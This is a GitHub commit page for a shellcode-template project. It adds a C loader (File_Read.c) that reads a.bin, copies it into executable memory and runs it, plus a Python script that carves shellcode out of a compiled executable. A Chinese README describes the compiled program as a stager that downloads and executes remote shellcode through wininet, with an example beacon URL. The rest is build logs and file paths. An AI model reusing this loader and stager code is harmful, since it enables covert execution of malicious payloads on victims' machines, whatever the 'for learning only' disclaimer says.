Skip to content

Commit 6df8054

Browse files
committed
makeW
1 parent 9ad3095 commit 6df8054

27 files changed

Lines changed: 158 additions & 34 deletions

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,3 +5,4 @@
55
/.vs/ShellCodeTemper
66
/packages
77
/Release
8+
/.git

Patch/File_Read.c

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
#define _CRT_SECURE_NO_WARNINGS
2+
#include <Windows.h>
3+
4+
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
5+
#include <stdlib.h>
6+
#include <stdio.h>
7+
8+
void HideWindow()
9+
{
10+
HWND hwnd = GetForegroundWindow();
11+
if (hwnd)
12+
{
13+
ShowWindow(hwnd, SW_HIDE);
14+
}
15+
}
16+
int RUN()
17+
{
18+
FILE* fp;
19+
size_t size;
20+
unsigned char* buffer;
21+
char exePath[MAX_PATH];
22+
GetModuleFileName(NULL, exePath, MAX_PATH);
23+
24+
char* lastSlash = strrchr(exePath, '\\');
25+
if (lastSlash) {
26+
*(lastSlash + 1) = '\0';
27+
}
28+
char fullPath[MAX_PATH];
29+
snprintf(fullPath, sizeof(fullPath), "%sa.bin", exePath);
30+
printf(fullPath);
31+
fp = fopen(fullPath, "rb");
32+
fseek(fp, 0, SEEK_END);
33+
size = ftell(fp);
34+
fseek(fp, 0, SEEK_SET);
35+
buffer = (unsigned char*)malloc(size);
36+
fread(buffer, size, 1, fp);
37+
fclose(fp);
38+
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
39+
memcpy(exec, buffer, size);
40+
((void(*)())exec)();
41+
VirtualFree(exec, 0, MEM_RELEASE);
42+
free(buffer);
43+
return 0;
44+
}
45+
46+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
47+
{//HideWindow();
48+
RUN();
49+
}

Patch/Patch.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
import random
2+
3+
def extract():
4+
with open('shellcodeCode.exe','rb+') as file:
5+
with open('shellcode.bin', 'wb+') as save:
6+
save.write(bytes(file.read()[0x400:0x7D0]))
7+
8+
if __name__ == '__main__':
9+
extract()

README.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
2+
3+
4+
5+
6+
7+
两年前用于制作shellcode的模板,仅用于学习和参考
8+
9+
## 特征
10+
11+
1. **动态加载系统库和函数**
12+
13+
使用 `LoadLibraryA``GetProcAddress` 动态加载 `kernel32.dll``wininet.dll`,获取一些网络相关的函数。
14+
15+
2. **通过 PEB 获取 Kernel32.dll 基址**
16+
17+
不同于直接调用 Windows API,它通过访问 PEB(进程环境块)来查找 Kernel32.dll 的地址。
18+
19+
3. **支持 x64 和 x86 架构**
20+
21+
使用条件编译 (`_AMD64_`) 根据平台的不同使用不同的方式获取 DLL 和导出表地址。
22+
23+
4. **动态获取导出函数的地址**
24+
25+
代码实现了一个 `GetProcAddress_Func` 函数,遍历 DLL 的导出表,找到所需的函数。
26+
27+
5. **动态堆内存读写**
28+
29+
远程服务器下载内容,并将其存储在分配的内存区域中。通过指针运算将
30+
31+
`addr + total_bytes` 写入指定内存的偏移位置。
32+
33+
6. **加载和调用网络及内存相关的函数**
34+
35+
使用 `InternetOpenA``InternetOpenUrlA``InternetReadFile` 等网络 API。
36+
37+
使用 `VirtualAlloc``VirtualProtect` 进行内存管理,分配和更改内存区域的保护属性,使用指针 执行Shellcode。
38+
39+
40+
41+
## 说明
42+
43+
1.编译出来的exe,可以直接当作stager使用(远程shellcode加载器)
44+
45+
2.提取shellcode:
46+
47+
偏移量从0x400到0x7D0为.Text段的内容,用python脚本将这段内容提取出来
48+
49+
```python
50+
import random
51+
52+
def extract():
53+
with open('shellcodeCode.exe','rb+') as file:
54+
with open('shellcode.bin', 'wb+') as save:
55+
save.write(bytes(file.read()[0x400:0x7D0]))
56+
57+
if __name__ == '__main__':
58+
extract()
59+
60+
```
61+
62+
URL只允许BYTE的字符数组形式的字符串,类似于这样:
63+
64+
```C++
65+
BYTE url[] = { 'h', 't', 't', 'p', ':', '/', '/', '1', '2', '7', '.', '0', '.', '0', '.', '1', ':', '8', '1', '8', '1', '/', 'b', 'e', 'a', 'c', 'o', 'n', 0 };
66+
```
67+
68+
- 每个字符都用单引号 `''` 包裹,逐个字符作为 `BYTE`(即 `unsigned char`)存储在数组中。
69+
- **字符串以 0 结尾**(即 **空字符 `0`**),这是 C 语言中的字符串终止符,标志字符串结束。

shellcodeCode/packages.config

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
<?xml version="1.0" encoding="utf-8"?>
22
<packages>
3-
<package id="VC-LTL" version="5.0.9" targetFramework="native" />
43
<package id="YY.NuGet.Import.Helper" version="1.0.0.4" targetFramework="native" />
54
</packages>

shellcodeCode/shellcodeCode.vcxproj

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
<?xml version="1.0" encoding="utf-8"?>
22
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3-
<Import Project="..\packages\VC-LTL.5.0.9\build\native\VC-LTL.props" Condition="Exists('..\packages\VC-LTL.5.0.9\build\native\VC-LTL.props')" />
43
<Import Project="..\packages\YY.NuGet.Import.Helper.1.0.0.4\build\native\YY.NuGet.Import.Helper.props" Condition="Exists('..\packages\YY.NuGet.Import.Helper.1.0.0.4\build\native\YY.NuGet.Import.Helper.props')" />
54
<ItemGroup Label="ProjectConfigurations">
65
<ProjectConfiguration Include="Debug|Win32">
@@ -178,6 +177,5 @@
178177
</PropertyGroup>
179178
<Error Condition="!Exists('..\packages\YY.NuGet.Import.Helper.1.0.0.4\build\native\YY.NuGet.Import.Helper.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\YY.NuGet.Import.Helper.1.0.0.4\build\native\YY.NuGet.Import.Helper.props'))" />
180179
<Error Condition="!Exists('..\packages\YY.NuGet.Import.Helper.1.0.0.4\build\native\YY.NuGet.Import.Helper.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\YY.NuGet.Import.Helper.1.0.0.4\build\native\YY.NuGet.Import.Helper.targets'))" />
181-
<Error Condition="!Exists('..\packages\VC-LTL.5.0.9\build\native\VC-LTL.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\VC-LTL.5.0.9\build\native\VC-LTL.props'))" />
182180
</Target>
183181
</Project>
Lines changed: 5 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,9 @@
1-

2-
################################################################################
3-
# #
4-
# 8b d8 ,ad8888ba, 88 888888888888 88 #
5-
# `8b d8' d8"' `"8b 88 88 88 #
6-
# `8b d8' d8' 88 88 88 #
7-
# `8b d8' 88 88 88 88 #
8-
# `8b d8' 88 aaaaaaaa 88 88 88 #
9-
# `8b d8' Y8, """""""" 88 88 88 #
10-
# `888' Y8a. .a8P 88 88 88 #
11-
# `8' `"Y8888Y"' 88888888888 88 88888888888 #
12-
# #
13-
################################################################################
14-
15-
VC-LTL Path : D:\WechatFile\WeChat Files\wxid_g4eflqyybtgp22\FileStorage\File\2023-03\shellcodeCode\shellcodeCode\packages\VC-LTL.5.0.9\build\native\
16-
VC Tools Version : 14.35.32215
17-
WindowsTargetPlatformMinVersion : 6.0.6000.0
18-
Platform : x64
19-
20-
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v170\Microsoft.CppBuild.targets(517,5): warning MSB8028: 中间目录(x64\Release\)包含从另一个项目(shellcodeCode.vcxproj)共享的文件。 这会导致错误的清除和重新生成行为。
1+
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v170\Microsoft.CppBuild.targets(531,5): warning MSB8028: 中间目录(x64\Release\)包含从另一个项目(shellcodeCode.vcxproj)共享的文件。 这会导致错误的清除和重新生成行为。
212
shellcodeCode.cpp
223
正在生成代码
234
Previous IPDB not found, fall back to full compilation.
24-
D:\WechatFile\WeChat Files\wxid_g4eflqyybtgp22\FileStorage\File\2023-03\shellcodeCode\shellcodeCode\shellcodeCode\head.h(226): warning C4715: “GetKernel32DLL”: 不是所有的控件路径都返回值
25-
D:\WechatFile\WeChat Files\wxid_g4eflqyybtgp22\FileStorage\File\2023-03\shellcodeCode\shellcodeCode\shellcodeCode\head.h(249): warning C4715: “GetProcAddress_Func”: 不是所有的控件路径都返回值
26-
All 4 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
5+
C:\Users\admin\Desktop\code\ShellCodeTemper\shellcodeCode\head.h(226): warning C4715: “GetKernel32DLL”: 不是所有的控件路径都返回值
6+
C:\Users\admin\Desktop\code\ShellCodeTemper\shellcodeCode\head.h(249): warning C4715: “GetProcAddress_Func”: 不是所有的控件路径都返回值
7+
All 3 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
278
已完成代码的生成
28-
shellcodeCode.vcxproj -> D:\WechatFile\WeChat Files\wxid_g4eflqyybtgp22\FileStorage\File\2023-03\shellcodeCode\shellcodeCode\x64\Release\shellcodeTemper.exe
9+
shellcodeCode.vcxproj -> C:\Users\admin\Desktop\code\ShellCodeTemper\x64\Release\shellcodeTemper.exe
5.44 KB
Binary file not shown.
Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,18 @@
1-
d:\wechatfile\wechat files\wxid_g4eflqyybtgp22\filestorage\file\2023-03\shellcodecode\shellcodecode\shellcodecode\x64\release\shellcodecode.obj
2-
d:\wechatfile\wechat files\wxid_g4eflqyybtgp22\filestorage\file\2023-03\shellcodecode\shellcodecode\shellcodecode\x64\release\shellcodecode.ipdb
3-
d:\wechatfile\wechat files\wxid_g4eflqyybtgp22\filestorage\file\2023-03\shellcodecode\shellcodecode\shellcodecode\x64\release\shellcodecode.iobj
4-
d:\wechatfile\wechat files\wxid_g4eflqyybtgp22\filestorage\file\2023-03\shellcodecode\shellcodecode\shellcodecode\x64\release\vc143.pdb
1+
c:\users\admin\desktop\shellcodetemper\shellcodecode\x64\release\vc143.pdb
2+
c:\users\admin\desktop\shellcodetemper\shellcodecode\x64\release\shellcodecode.obj
3+
c:\users\admin\desktop\shellcodetemper\x64\release\shellcodetemper.exe
4+
c:\users\admin\desktop\shellcodetemper\shellcodecode\x64\release\shellcodetemper.ipdb
5+
c:\users\admin\desktop\shellcodetemper\shellcodecode\x64\release\shellcodetemper.iobj
6+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodecode.obj
7+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.ipdb
8+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.iobj
9+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\vc143.pdb
10+
c:\users\admin\desktop\code\shellcodetemper\x64\release\shellcodetemper.exe
11+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\cl.command.1.tlog
12+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\cl.items.tlog
13+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\cl.read.1.tlog
14+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\cl.write.1.tlog
15+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\link.command.1.tlog
16+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\link.read.1.tlog
17+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\link.secondary.1.tlog
18+
c:\users\admin\desktop\code\shellcodetemper\shellcodecode\x64\release\shellcodetemper.tlog\link.write.1.tlog

shellcodeCode/x64/Release/shellcodeTemper.exe.recipe

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
<Project>
33
<ProjectOutputs>
44
<ProjectOutput>
5-
<FullPath>D:\WechatFile\WeChat Files\wxid_g4eflqyybtgp22\FileStorage\File\2023-03\shellcodeCode\shellcodeCode\x64\Release\shellcodeTemper.exe</FullPath>
5+
<FullPath>C:\Users\admin\Desktop\code\ShellCodeTemper\x64\Release\shellcodeTemper.exe</FullPath>
66
</ProjectOutput>
77
</ProjectOutputs>
88
<ContentFiles />

0 commit comments

Comments
 (0)